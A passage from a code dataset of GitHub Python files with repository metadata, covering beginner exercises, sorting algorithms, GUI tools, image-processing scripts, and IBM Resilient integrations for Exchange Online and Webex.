canvas.itemconfig(time_left, text=time_format)\n timer = window.after(1000, countdown, count - 1)\n else:\n start_timer()\n if reps % 2 == 0:\n check_lable.config(text=check_mark)\n check_mark += check_mark1\n\n\n# ---------------------------- UI SETUP ------------------------------- #\n\nwindow = Tk()\nwindow.minsize(width=500, height=500, )\nwindow.config(padx=100, pady=100, bg=YELLOW)\nwindow.title(\"Pomodoro\")\n\ntimer_lable = Label(text=\"Timer\", font=(FONT_NAME, 60), fg=GREEN, bg=YELLOW)\ntimer_lable.grid(column=2, row=1)\n\ncheck_lable = Label(text=\"\", font=(FONT_NAME, 40), fg=GREEN, bg=YELLOW)\ncheck_lable.grid(column=2, row=5)\n\ncanvas = Canvas(width=300, height=300, bg=YELLOW, highlightthickness=0)\nfile = PhotoImage(file=\"tomato.png\")\nimage = canvas.create_image(150, 150, image=file)\ntime_left = canvas.create_text(150, 175, text=\"00:00\", fill=\"white\", font=(FONT_NAME, 60, \"bold\"))\n\ncanvas.grid(column=2, row=2)\n\nstart_button = Button(text=\"Start\", bg=YELLOW, font=(FONT_NAME, 20), highlightthickness=0, command=start_timer)\nstart_button.grid(column=1, row=3)\nreset_button = Button(text=\"Reset\", bg=YELLOW, font=(FONT_NAME, 20), highlightthickness=0, command=reset_timer)\nreset_button.grid(column=3, row=3)\n\nwindow.mainloop()\n","repo_name":"angrajlatake/100-days-to-code","sub_path":"day28/2.2 pomodoro-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21284317754","text":"#continue.py\nfor x in range(5):\n if x==2:\n continue\n print(x)\nprint('--------')\ny=0\nwhile y<5:\n if y%2 != 0:\n y+=1\n continue\n print(y) \n y+=1","repo_name":"houyinhu/AID1812","sub_path":"python/dazhewan/day05/continue.py","file_name":"continue.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70469830029","text":"# Programming Assignment #3\r\n# Problem #3\r\n# Counting Sort Algorithm\r\n\r\n\r\nfrom random import randint\r\nimport time\r\n\r\n\r\ndef random_array(): # Creates and populates an array with random integers from 0 to 500, returning the array\r\n arr = []\r\n for i in range(5000):\r\n arr.append(randint(0, 500))\r\n return arr\r\n\r\n\r\ndef counting_sort(arr): # Used counting sort algorithm create a new array where arr[i] is equal to the number of times\r\n # the number appears in the unsorted array. The index is value in this case.\r\n t_start = time.perf_counter()\r\n num = []\r\n for i in range(501): # 501 is the size of the array due to the range being 0-500\r\n num.append(0)\r\n for i in range(len(arr)): # Goes through the unsorted array and for each value increments the arr[i] in the new\r\n # array by 1\r\n num[arr[i]] = num[arr[i]] + 1\r\n t_end = time.perf_counter()\r\n print_100(num)\r\n print(\"\\nTime elapsed:\", t_end - t_start, \"seconds.\")\r\n\r\n\r\ndef print_array(num): # Prints the entire array\r\n for i in range(len(num)):\r\n if num[i] > 0:\r\n for j in range(num[i]):\r\n print(i)\r\n\r\n\r\ndef print_100(arr): # Prints out every 100th element in the array\r\n count = 0\r\n print(\"Printing every 100th element in the sorted array\")\r\n for i in range(len(arr)):\r\n if arr[i] > 0:\r\n for j in range(arr[i]):\r\n count = count + 1\r\n if count % 100 == 0:\r\n print(i, end=' ')\r\n\r\n\r\n# Press the green button in the gutter to run the script.\r\nif __name__ == '__main__':\r\n arr = random_array()\r\n print(\"Counting Sort Alogorithm on a random array of integers from 0 - 500\")\r\n counting_sort(arr)\r\n print(\"Press any key to close the program.\")\r\n input()\r\n\r\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\r\n","repo_name":"hlupro/COSC600-Sorting-Project","sub_path":"countingSort.py","file_name":"countingSort.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16886089826","text":"from abc import ABC, abstractmethod\nfrom typing import AsyncContextManager, AsyncIterator, Iterator, Type, TypeVar\n\nfrom async_generator import aclosing, asynccontextmanager\nfrom cobald.interfaces import Pool, Controller, Partial\n\nfrom .streams import MessageStream, CobaldStream\nfrom .proxy import RemoteController, RemotePool, ConnectedPool\nfrom ..utility import sync_aiter\n\n\nclass Transport(ABC):\n \"\"\"\n Definition for transporting messages\n \"\"\"\n __slots__ = ()\n\n @abstractmethod\n async def __connect__(self) -> AsyncContextManager[MessageStream]:\n raise NotImplementedError\n\n async def __accept_one__(self) -> 'AsyncContextManager[MessageStream]':\n async with aclosing(self.__accept__()) as connections:\n async for connection in connections:\n return connection\n\n @abstractmethod\n async def __accept__(self) -> AsyncIterator[AsyncContextManager[MessageStream]]:\n raise NotImplementedError\n\n\nclass Protocol(ABC):\n __slots__ = ('transport',)\n\n def __init__(self, transport: Transport):\n self.transport = transport\n\n def pool(self) -> RemotePool:\n return RemotePool(protocol=self)\n\n def controller(self, target: Pool, interval: float = 1) -> RemoteController:\n return RemoteController(target=target, protocol=self, interval=interval)\n\n def __iter__(self) -> Iterator[ConnectedPool]:\n for pool in sync_aiter(self.__aiter__()):\n yield pool\n\n async def __aiter__(self) -> AsyncIterator[ConnectedPool]:\n async with aclosing(self.__accept__()) as connections:\n async for connection in connections:\n yield ConnectedPool(connection)\n\n def __rshift__(self, other: Pool) -> RemoteController:\n return Partial(RemoteController, protocol=self, __leaf__=False) >> other\n\n def __rrshift__(self, other: Partial[Controller]) -> Pool:\n return other >> self.pool()\n\n @abstractmethod\n async def __connect__(self) -> AsyncContextManager[CobaldStream]:\n raise NotImplementedError\n\n async def __accept_one__(self) -> 'AsyncContextManager[CobaldStream]':\n async with aclosing(self.__accept__()) as connections:\n async for connection in connections:\n return connection\n\n @abstractmethod\n async def __accept__(self) -> AsyncIterator[AsyncContextManager[CobaldStream]]:\n raise NotImplementedError\n\n\nCS = TypeVar('CS', bound=CobaldStream)\n\n\n@asynccontextmanager\nasync def stream_manager(\n message_manager: AsyncContextManager[MessageStream], stream: Type[CS],\n *args, **kwargs,\n) -> AsyncContextManager[CS]:\n async with message_manager as message_stream:\n cobald_stream = stream(message_stream, *args, **kwargs)\n yield cobald_stream\n","repo_name":"MatterMiners/cobald.remote","sub_path":"cobald/remote/_interface/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"16675366078","text":"import sys\n\n\ndef find_index(lst, index):\n try:\n return lst[index]\n except IndexError as ex:\n print(f'{ex}', file=sys.stderr)\n return -1\n\n\nprint(find_index([1, 2, 3], 3))","repo_name":"vladlesness/PDS3","sub_path":"Lesson_tasks/Lesson_10/indexerror.py","file_name":"indexerror.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31541866108","text":"import json\nfrom json_utils import read_json_file\n\n\"\"\"\n builds a word -> emotion score dictionary based on the NRC emotion lexicon\n\"\"\"\n\n\nclass EmotionDictionaryBuilder:\n def __init__(self, lexicon_path):\n self.lexicon_path = lexicon_path\n\n # class names\n self.classes = ['anger', 'disgust', 'fear', 'guilt', 'joy', 'sadness', 'shame']\n\n # word -> (emotion_label -> score) dict\n self.emo_dict = dict()\n\n \"\"\"\n read lexicon file and build the dictionary\n \"\"\"\n\n # NRC-Emotion-Lexicon from http://sentiment.nrc.ca/lexicons-for-research/\n def build_dict(self):\n with open(self.lexicon_path, encoding=\"utf-8\") as lexicon:\n lexemes = lexicon.readlines()\n for l in lexemes:\n tokens = l.split(\"\\t\")\n if len(tokens) < 3:\n continue\n\n # extract from tokens\n word = tokens[0]\n label = tokens[1]\n score = int(tokens[2].replace(\"\\n\", \"\"))\n\n if label not in self.classes:\n continue\n elif word not in self.emo_dict.keys():\n self.emo_dict[word] = {}\n\n self.emo_dict[word][label] = score\n\n # add missing scores\n for word in self.emo_dict.keys():\n for c in self.classes:\n if c not in self.emo_dict[word].keys():\n self.emo_dict[word][c] = 0\n\n \"\"\"\n save the dictionary as a json file\n \"\"\"\n\n def save_as_json(self):\n dump_path = \"../models/lexicon.json\"\n with open(dump_path, \"w\") as jsonfile:\n json.dump(self.emo_dict, jsonfile)\n\n\nd = EmotionDictionaryBuilder(\"../models/emotion_lex.txt\")\nd.build_dict()\nd.save_as_json()\n\n# test json\njson_data = read_json_file(\"../models/lexicon.json\")\nprint(json_data)\n","repo_name":"ShawonAshraf/emotion-classification-isear","sub_path":"scripts/corpus/dict_builder.py","file_name":"dict_builder.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"6879569590","text":"import logging\nfrom resilient_circuits import ResilientComponent, function, handler, StatusMessage, FunctionResult, FunctionError\nfrom resilient_lib import validate_fields, RequestsCommon, ResultPayload\nfrom fn_exchange_online.lib.ms_graph_helper import MSGraphHelper, MAX_RETRIES_TOTAL, MAX_RETRIES_BACKOFF_FACTOR, MAX_BATCHED_REQUESTS\n\nCONFIG_DATA_SECTION = 'fn_exchange_online'\nLOG = logging.getLogger(__name__)\n\nclass FunctionComponent(ResilientComponent):\n \"\"\"Component that implements Resilient function 'exchange_online_delete_email\"\"\"\n def load_options(self, opts):\n \"\"\" Get app.config parameters and validate them. \"\"\"\n self.opts = opts\n self.options = opts.get(CONFIG_DATA_SECTION, {})\n\n required_fields = [\"microsoft_graph_token_url\", \"microsoft_graph_url\", \"tenant_id\", \"client_id\",\n \"client_secret\", \"max_messages\", \"max_users\"]\n validate_fields(required_fields, self.options)\n\n def __init__(self, opts):\n \"\"\"constructor provides access to the configuration options\"\"\"\n super(FunctionComponent, self).__init__(opts)\n self.load_options(opts)\n\n @handler(\"reload\")\n def _reload(self, event, opts):\n \"\"\"Configuration options have changed, save new values\"\"\"\n self.load_options(opts)\n\n @function(\"exchange_online_delete_email\")\n def _exchange_online_delete_email_function(self, event, *args, **kwargs):\n \"\"\"Function: Delete a message in the specified user's mailbox.\"\"\"\n try:\n # Initialize the results payload\n rp = ResultPayload(CONFIG_DATA_SECTION, **kwargs)\n\n # Validate fields\n validate_fields(['exo_email_address', 'exo_messages_id'], kwargs)\n\n # Get the function parameters\n email_address = kwargs.get('exo_email_address') # text\n mailfolders_id = kwargs.get('exo_mailfolders_id') # text\n messages_id = kwargs.get('exo_messages_id') # text\n\n LOG.info(u\"exo_email_address: %s\", email_address)\n LOG.info(u\"exo_mailfolders_id: %s\", mailfolders_id)\n LOG.info(u\"exo_messages_id: %s\", messages_id)\n\n yield StatusMessage(u\"Starting delete message for email address: {}\".format(email_address))\n\n # Get the MS Graph helper class\n MS_graph_helper = MSGraphHelper(self.options.get(\"microsoft_graph_token_url\"),\n self.options.get(\"microsoft_graph_url\"),\n self.options.get(\"tenant_id\"),\n self.options.get(\"client_id\"),\n self.options.get(\"client_secret\"),\n self.options.get(\"max_messages\"),\n self.options.get(\"max_users\"),\n self.options.get(\"max_retries_total\", MAX_RETRIES_TOTAL),\n self.options.get(\"max_retries_backoff_factor\", MAX_RETRIES_BACKOFF_FACTOR),\n self.options.get(\"max_batched_requests\", MAX_BATCHED_REQUESTS),\n RequestsCommon(self.opts, self.options).get_proxies())\n\n # Call MS Graph API to get the user profile\n response = MS_graph_helper.delete_message(email_address, mailfolders_id, messages_id)\n\n # If message was deleted a 204 code is returned.\n if response.status_code == 204:\n success = True\n response_json = {'value': success}\n else:\n success = False\n response_json = response.json()\n\n results = rp.done(success, response_json)\n\n yield StatusMessage(u\"Returning delete results for email address: {}\".format(email_address))\n\n # Produce a FunctionResult with the results\n yield FunctionResult(results)\n except Exception as err:\n LOG.error(err)\n yield FunctionError(err)\n","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_exchange_online/fn_exchange_online/components/exchange_online_delete_email.py","file_name":"exchange_online_delete_email.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"45141126302","text":"def room_sched(lec):\n # Fill this in\n lec.sort()\n print(lec)\n c = 1\n i = 1\n sel = lec[0]\n while i != len(lec):\n if lec[i][0] > sel[1]:\n c += 1\n sel = lec[i]\n i += 1\n\n return c\n \n\n# Number of rooms to be scheduled\nprint(room_sched([(30, 75), (0, 50), (60, 150)]))\n# 2\n","repo_name":"sesh10/Problem-Statements","sub_path":"room_scheduling.py","file_name":"room_scheduling.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"6893019590","text":"import json\n\nfrom urllib import parse\nfrom resilient_lib import IntegrationError\nfrom resilient_circuits import FunctionResult\n\nfrom fn_webex.lib import constants, cisco_commons\n\n\nclass WebexInterface:\n \"\"\"\n This application allows for creating a team or a room using the Cisco Webex API. This\n provides SOAR with the ability to create teams and rooms from within a SOAR incident\n or a task.\n\n Inputs:\n -----\n teamName () : Name of the team to be created\n incidentId () : Incident ID\n addAllMembers () : Adds all members of the incident to the team\n additionalAttendee () : Additonal attendees to be added\n entity_Id () : Team or Room ID\n entity_name () : Team or Room Name\n entity_url () : Teams API URL\n membershipURL () : Teams Membership API URL\n\n Returns:\n --------\n Response () : A response with the room/team options and details\n or the error message if the meeting creation\n fails\n \"\"\"\n def __init__(self, requiredParameters):\n self.required_parameters = requiredParameters\n self.rc = self.required_parameters.get(\"rc\")\n self.header = self.required_parameters.get(\"header\")\n self.LOG = self.required_parameters.get(\"logger\")\n self.resclient = self.required_parameters.get(\"resclient\")\n self.response_handler = cisco_commons.ResponseHandler()\n self.entity_Id, self.entity_name = None, None\n self.email_ids, self.entity_type = None, None\n self.retrieve_membership_url = None\n\n\n def create_team_room(self):\n '''\n A wrapper function that allows for creating a team or a room. For a room or a team\n to be created, the following functions are executed in the specified order.\n\n * find_operation : Determines if a room or team is to be created.\n * generate_member_list : Generates a list of members to be added.\n * retrieve_entity : Tries to find a room or a team with the same name.\n Else creates a new one using create_entity\n * add_membership : Adds the list of members to the room or team\n * get_entity_details : Retrieves the room/team information\n\n Returns:\n --------\n (): A dictionary with the response, the reason\n should the operation fail, and a success\n flag.\n '''\n try:\n self.find_api()\n self.generate_member_list()\n self.retrieve_entity()\n self.add_membership()\n response = self.get_entity_details()\n return FunctionResult(response, success=True)\n except IntegrationError as err:\n return FunctionResult(None, success=False, reason = str(err))\n\n\n def find_api(self):\n \"\"\"\n This function detemines the operaiton that is being perofrmed. All the below functions\n work for Room as well as teams. So this detemine the API to be used.\n\n Returns:\n --------\n entity_url (): Teams or Room api URL\n entity_type (): Teams or Room api selector\n entity_name (): teamName or RoomName depending on the API\n calling_key (): name or title depending on the API to fetch\n title of the entity.\n \"\"\"\n self.entity_url = self.required_parameters.get(\"entityURL\")\n self.entity_type = self.required_parameters.get(\"entityType\")\n self.entity_name = self.required_parameters.get(\"entityName\")\n self.calling_key = constants.TEAMS_CALLING_KEY if self.entity_type == constants.TEAM else constants.ROOMS_CALLING_KEY\n\n def is_direct_member(self, incident_member_id, org_member_list):\n \"\"\"\n Checks to see if the member Id accquired from the incident belongs to the list of all\n users from the organization. Upon match, it then extracts the email address for that\n particular user.\n\n Args:\n -----\n incident_member_id () : The user Id accquired from the incident\n org_member_list (): The list of member Ids of all organization members\n\n Returns:\n --------\n (): Email address of the incident member\n \"\"\"\n for user in org_member_list:\n if incident_member_id == user.get(\"id\"):\n return user.get(constants.EMAIL)\n\n\n def is_group_member(self, incident_member_id, org_member_list, org_group_list):\n \"\"\"\n Checks to see if the member Id accquired from the incident belongs to the list of\n all groups from the organization. Upon match, it then queries a list of Ids\n associated with that group and matches with user using the >>is_direct_member<<\n function\n\n Args:\n -----\n incident_member_id () : The user Id accquired from the incident\n org_member_list (): The list of member Ids of all organization members\n org_group_list (): The list of group Ids of all organization members\n\n Returns:\n --------\n (): list of all email addresses of incident members\n \"\"\"\n ret = []\n for group in org_group_list:\n if incident_member_id == group.get(\"id\"):\n for member in group.get(\"members\"):\n ret.append(self.is_direct_member(member, org_member_list))\n return ret\n\n\n def generate_member_list(self):\n \"\"\"\n Generates a list of email addresses of the members to be added to the room/team. The\n function queries incident member list or task member list, organization group list, \n and organization user list. Using these, it then compares and accquires the email \n addresses of all users that are members to the incident or task, if >>addAllMembers<<\n in enabled. Else just adds the email addresses specified in >>additionalAttendee<<\n\n Returns:\n --------\n email_ids () : a list of all participant email addresses to be added\n \"\"\"\n email_ids = []\n if self.required_parameters.get(\"taskId\"):\n incidentMembers = self.resclient.get(parse.urljoin(constants.RES_TASK,\n \"{}/members\".format(self.required_parameters.get(\"taskId\"))))\n else:\n incidentMembers = self.resclient.get(parse.urljoin(constants.RES_INCIDENT,\n \"{}/members\".format(self.required_parameters.get(\"incidentId\"))))\n org_member_list = self.resclient.post(constants.RES_USERS, payload={}).get(\"data\")\n org_group_list = self.resclient.get(constants.RES_GROUPS)\n if self.required_parameters.get(\"addAllMembers\"):\n if len(incidentMembers.get(\"members\")) == 0:\n self.LOG.info(constants.LOG_INCIDENT_NO_MEMBERS)\n for incident_member in incidentMembers.get(\"members\"):\n if self.is_direct_member(incident_member, org_member_list):\n email_ids.append(self.is_direct_member(incident_member,\n org_member_list))\n elif self.is_group_member(incident_member,\n org_member_list,\n org_group_list):\n email_ids.extend(self.is_group_member(incident_member,\n org_member_list,\n org_group_list))\n elif not self.required_parameters.get(\"additionalAttendee\"):\n self.LOG.warn(constants.LOG_WARN_NO_ADDITIONAL_PARTICIPANTS.format(\n self.entity_type))\n\n if self.required_parameters.get(\"additionalAttendee\"):\n email_ids += self.required_parameters.get(\"additionalAttendee\").lower().replace(\" \", \"\").split(\",\")\n self.email_ids = set(email_ids)\n self.LOG.info(constants.LOG_ADD_MEMEBERS.format(\n self.entity_type, self.email_ids))\n\n\n def add_membership(self):\n \"\"\"\n Adds members to the room/team using the email addresses from >>email_ids<<. If user already\n a member of the room/team, ignores.\n \"\"\"\n idName = constants.TEAM_ID if self.entity_type == constants.TEAM else constants.ROOM_ID\n for user in self.email_ids:\n data = {idName : self.entity_Id, \"personEmail\" : user}\n try:\n _ = self.rc.execute(\"post\", self.required_parameters.get(\"membershipUrl\"),\n headers=self.header, data=json.dumps(data))\n self.LOG.info(\"Webex: User {} added to incident {}\".format(user,\n self.entity_type))\n except IntegrationError:\n self.LOG.info(\"Webex: User {} is already a member of the room/team\".format(user))\n\n\n def retrieve_entity(self):\n \"\"\"\n Trys and retrieves room/team details if available, if not creates a new room/team\n\n Returns:\n --------\n room/team Id () : Id of the room/team\n room/team Name () : Name of the room/team\n \"\"\"\n self.entity_Id = None\n res = self.rc.execute(\"get\", self.entity_url,\n headers=self.header, callback=self.response_handler.check_response)\n if len(res.get('items')) == 0:\n self.create_entity()\n else:\n for objs in res.get(\"items\"):\n if objs.get(self.calling_key) == self.entity_name:\n self.LOG.info(\"Webex: Retrieving existing room/team: {}\".format(\n self.entity_Id))\n raise IntegrationError(constants.MSG_ENTITY_EXISTS.format(self.entity_type,\n self.entity_name))\n if not self.entity_Id:\n self.create_entity()\n self.LOG.info(\"Webex: Creating new room/team: {}\".format(\n self.entity_Id))\n retrieve_membership_url = parse.urljoin(self.entity_url, self.entity_Id + \"/\")\n if self.entity_type == constants.ROOM:\n retrieve_membership_url = parse.urljoin(retrieve_membership_url, \"meetingInfo\")\n self.retrieve_membership_url = retrieve_membership_url\n\n\n def create_entity(self):\n \"\"\"\n Creates a room/team with the required configurations such as:\n * room/team name\n * Existing teamId\n * list of Attendees\n\n Returns:\n -------\n room/team Id () : Id of the room/team\n room/team Name () : Name of the room/team\n \"\"\"\n data = {self.calling_key : self.entity_name}\n if self.entity_type == constants.ROOM and self.required_parameters.get(constants.TEAM_ID):\n self.LOG.info(constants.LOG_ADD_TEAM_TO_ROOM.format(\n self.required_parameters.get(constants.TEAM_ID)))\n data[constants.TEAM_ID] = self.required_parameters.get(constants.TEAM_ID)\n res = self.rc.execute(\"post\", self.entity_url,\n headers=self.header, data=json.dumps(data),\n callback=self.response_handler.check_response)\n self.entity_Id = res.get(\"id\")\n self.entity_name = res.get(self.calling_key)\n self.LOG.info(constants.LOG_CREATING_NEW_ENTITY.format(self.entity_type, self.entity_Id))\n\n\n def get_entity_details(self):\n \"\"\"\n Upon successfully creating a team, it retrieves the room details and returns the\n result back to the SOAR platform in the form of dictionary.\n\n Returns:\n --------\n (): response from the endpoint with room name and other information\n \"\"\"\n response = self.rc.execute(\"get\", self.retrieve_membership_url,\n headers=self.header, callback=self.response_handler.check_response)\n self.LOG.info(constants.LOG_RETRIVING_ENTITY_DETAILS.format(self.entity_type,\n self.entity_name))\n response[\"id\"] = self.entity_Id\n response[\"name\"] = self.entity_name\n response[\"attendees\"] = \", \".join(self.email_ids)\n return response\n","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_webex/fn_webex/lib/cisco_interface.py","file_name":"cisco_interface.py","file_ext":"py","file_size_in_byte":12502,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"35245541493","text":"import sys\nfrom PySide6.QtWidgets import QApplication\nfrom PySide6.QtCore import QFile, Qt\nfrom PySide6.QtUiTools import QUiLoader\n\n\nfrom zoomable_image_label import * \n\n\napp = QApplication(sys.argv)\n\n#ui_file = QFile('gui\\\\scrollarea.ui')\nui_file = QFile('gui/scrollarea.ui')\nui_file.open(QFile.ReadOnly)\n\nloader = QUiLoader()\nmain_window = loader.load(ui_file)\n\n#label = ImageDisplayWidget()\nlabel = Zoomable_Mat_Label()\n\nf = \"D:\\\\CouldStation_Photo\\\\2009\\\\小娃\\\\0829 - 第二次玩大武崙\\\\DSC03540.JPG\"\ng = \"D:\\\\CouldStation_Photo\\\\2023\\\\兩姊妹\\\\0109 - 幫老師慶生\\\\2023-01-09 21.19.22.jpg\"\n\n#f = \"/home/brandon/圖片/IMG_8647.jpg\"\n\n\nlabel.setImagePath (g)\n\nscroll = main_window.scrollArea\n#label.resize(scroll.size())\nscroll.setWidget (label)\n\n\n\nmain_window.show()\nsys.exit(app.exec())","repo_name":"brandicast/experiment","sub_path":"python/pyside/zoommable_mat_label_test.py","file_name":"zoommable_mat_label_test.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23993457186","text":"#!/usr/bin/env python3.8\n\nimport tkinter as tk\nfrom PIL import Image, ImageTk\nfrom tkinter import filedialog\nfrom urllib import error as e\nimport urllib.request as urllib2\nimport os\nfrom pathlib import Path\nimport numpy as np \nimport clipboard\n\nclass Ghost_class:\n def __init__(self, root):\n super().__init__()\n self.img = None\n self.root_path = root\n self.url = \"\"\n self.filename = \"\"\n def get_Img(self, img):\n self.img = img\n def convert_to_hex(self, tup):\n code = \"#\"\n for i in tup:\n string = hex(i)\n string = string[2:]\n if len(string) == 1:\n string = \"0\" + string\n code += dict_hex[string[0]] + dict_hex[string[1]]\n return code\n def return_cord(self, event):\n color_info.delete(0, len(color_info.get()))\n pixels = self.img.getpixel((event.x, event.y))\n if v.get() == 1:\n color_info.insert(0, str(pixels))\n elif v.get() == 2:\n hex_format = self.convert_to_hex(pixels)\n color_info.insert(0, hex_format)\n\n arr = [[pixels] * 400] * 400\n arr = np.array(arr, dtype=np.uint8).reshape((400, 400, 3))\n img = Image.fromarray(arr)\n img = ImageTk.PhotoImage(img)\n palette = tk.Label(frame3, image=img)\n palette.image = img\n palette.grid(row=0, column=0)\n \n\ndef get_path():\n path = filedialog.askopenfilename(title='open')\n return path\ndef open_img(obj):\n try:\n path = get_path()\n img = Image.open(path)\n img = img.resize((630, 490))\n obj.get_Img(img)\n img = ImageTk.PhotoImage(img)\n lb = tk.Label(frame1, image=img)\n lb.image = img\n lb.grid(row=0, column=0)\n lb.bind(\"\n

    \n TEMPLATE_PLACEHOLDER \n
    \n
    \n \n\n'''\n\n\ndef get_similar_images(rootdirectory, imagehashes, distance_threshold=3):\n clusters = list()\n n = len(imagehashes)\n i = 0\n for file, hash in sorted(imagehashes.items()):\n i += 1\n print(\"Processing image hash %i/%i \\r\" % (i, n), end=\"\")\n if hash is None:\n continue\n ih = ImageHash(file, hash)\n nearestCluster = None\n nearestDistance = 999999999\n for cluster in clusters:\n d = cluster.distance(ih)\n if d < nearestDistance:\n nearestCluster = cluster\n nearestDistance = d\n if nearestDistance < distance_threshold:\n nearestCluster.add(ih)\n else:\n c = Cluster(ih)\n clusters.append(c)\n\n htmllinks = io.StringIO()\n\n counter = 0\n for c in sorted(clusters, reverse=False, key=lambda c: c.max_distance):\n if len(c.items) <= 1:\n continue\n print(\"Count: %i, Dispersion: %i
    \" % (len(c.items), c.max_distance), file=htmllinks)\n for ih in sorted(c.items, key=lambda item: os.path.getsize(item.file), reverse=True):\n title = \"%s\" % (ih.file)\n filenameForHtml = ih.file.replace('\\\\', '/')\n print(\"\"\"\n %s
    \"\"\" % (filenameForHtml, filenameForHtml, title), file=htmllinks)\n counter += 1\n\n html = htmlTemplate.replace('TEMPLATE_PLACEHOLDER', htmllinks.getvalue())\n with open(os.path.join(rootdirectory, \".image-report.html\"), 'w') as writer:\n print(html, file=writer)\n if counter > 0:\n print(80 * \" \", end=\"\\r\")\n print(\"%i differences found\" % counter)\n\n\n@click.command()\n@click.argument('rootdirectory', metavar=\"ROOT_DIRECTORY\")\n@click.option('regex_search_pattern', '-r', '--regex', default='x', metavar=\"REGEX\", help='Search pattern for subdirectories. Default is .*')\ndef main_function(rootdirectory, regex_search_pattern):\n \"\"\"Finds duplicate images based on \"soft\" similarity comparison\"\"\"\n print(colorama.Fore.CYAN + \"Walking directory '%s'\" % rootdirectory)\n imagehashes = dict()\n imageHashEngine = ImageHashEngine(os.path.join(rootdirectory, \".image_hashes\"))\n\n for i, n, root, subdirs, files in walkdirectory(rootdirectory, regex_search_pattern):\n print(\"\\r\" + 80 * \" \", end=\"\\r\")\n print(colorama.Fore.LIGHTMAGENTA_EX + \"%5i/%5i\" % (i + 1, n), end=\" \")\n print(\"Directory %s \" % root, end=\"\")\n\n for j, f in enumerate(files):\n ff = os.path.join(root, f)\n if IsImage(f):\n hash = imageHashEngine.get_hash(ff)\n imagehashes[ff] = hash\n imageHashEngine.save(True)\n print()\n\n get_similar_images(rootdirectory, imagehashes)\n\n\nif __name__ == \"__main__\":\n script_handler(main_function)\n","repo_name":"tnet/cmdlineutils","sub_path":"dupi.py","file_name":"dupi.py","file_ext":"py","file_size_in_byte":8209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21376950764","text":"#Rotate Array by n places\r\n'''\r\nStep 1 : Divide array into n-r and r\r\n\r\nStep 2 : Reverse n-r and r\r\n \r\nStep 3 : Reverse whole array\r\n'''\r\ndef reverseArray(arr,start,end):\r\n while start < end :\r\n arr[start],arr[end] = arr[end],arr[start]\r\n start = start + 1\r\n end = end - 1\r\n\r\n\r\ndef rotateArray(arr,r):\r\n if r == 0:\r\n return arr\r\n n = len(arr)\r\n end = n - r\r\n reverseArray(arr,0,end-1)\r\n print(\"1\",arr)\r\n reverseArray(arr,end,n-1)\r\n print(\"2\",arr)\r\n reverseArray(arr,0,n-1)\r\n print(\"3\",arr)\r\n return arr\r\n\r\narr1 = [4,6,2,5,1]\r\nresult = rotateArray(arr1,0)\r\nprint(result)\r\n","repo_name":"NishiChandra/CodingChallenges","sub_path":"LeetCode/Array/rotate_array.py","file_name":"rotate_array.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30601294149","text":"# Центр контура https://www.geeksforgeeks.org/python-opencv-find-center-of-contour/\n\nimport cv2 as cv\nimport time\nimport numpy as np\nfrom math import sqrt, pi, sin, cos, atan2\n\ndef Affine(IMage, name):\n print(f\"\\n{name}:\")\n # Порог изображения https://docs.opencv.org/4.x/d7/d4d/tutorial_py_thresholding.html\n ret, thresh = cv.threshold(IMage, 0, 255, cv.THRESH_TOZERO)\n\n M = cv.moments(thresh)\n xc = int(M['m10'] / M['m00'])\n yc = int(M['m01'] / M['m00'])\n print(f\"x: {xc} y: {yc}\")\n\n w, h = IMage.shape[::-1]\n B, C, D = np.float64(0), np.float64(0), np.float64(0)\n for y, line in enumerate(IMage):\n for x, T in enumerate(line):\n if T != 0:\n B += T * ((x - xc) ** 2 - (y - yc) ** 2)\n C += T * 2 * (x - xc)*(y - yc)\n D += T * ((x - xc) ** 2 + (y - yc) ** 2)\n # Alt 0181\n µ = sqrt((D + sqrt(C ** 2 + B ** 2)) / (D - sqrt(C ** 2 + B ** 2)))\n\n teta = 0.5 * atan2(C, B) + pi\n\n print(\"Направление (teta) сжатия изображения: \" + str(\"{0:.2f}\".format(teta)))\n print(\"Величина (µ) сжатия изображения: \" + str(\"{0:.3f}\".format(µ)))\n\n cIM = np.zeros((w, h), dtype='uint8')\n Mdivisible, Mdivider = 0, 0\n for y, line in enumerate(IMage):\n for x, T in enumerate(line):\n if T != 0:\n xPlus, yPlus = (\n (1 / µ) * ((x - xc) * cos(-teta) - (y - yc) * sin(-teta))\n * cos(teta) - ((x-xc) * sin(-teta) + (y-yc) * cos(-teta)) * sin(teta) ),(\n\n (1 / µ) * ((x - xc) * cos(-teta) - (y - yc) * sin(-teta))\n * sin(teta) + ((x-xc) * sin(-teta) + (y-yc) * cos(-teta)) * cos(teta) )\n\n xZv, yZv = int(xPlus - xc), int(yPlus - yc)\n\n cIM[xZv][yZv] = T\n\n Mdivisible += T * sqrt(xPlus ** 2 + yPlus ** 2)\n Mdivider += T\n # эталонное 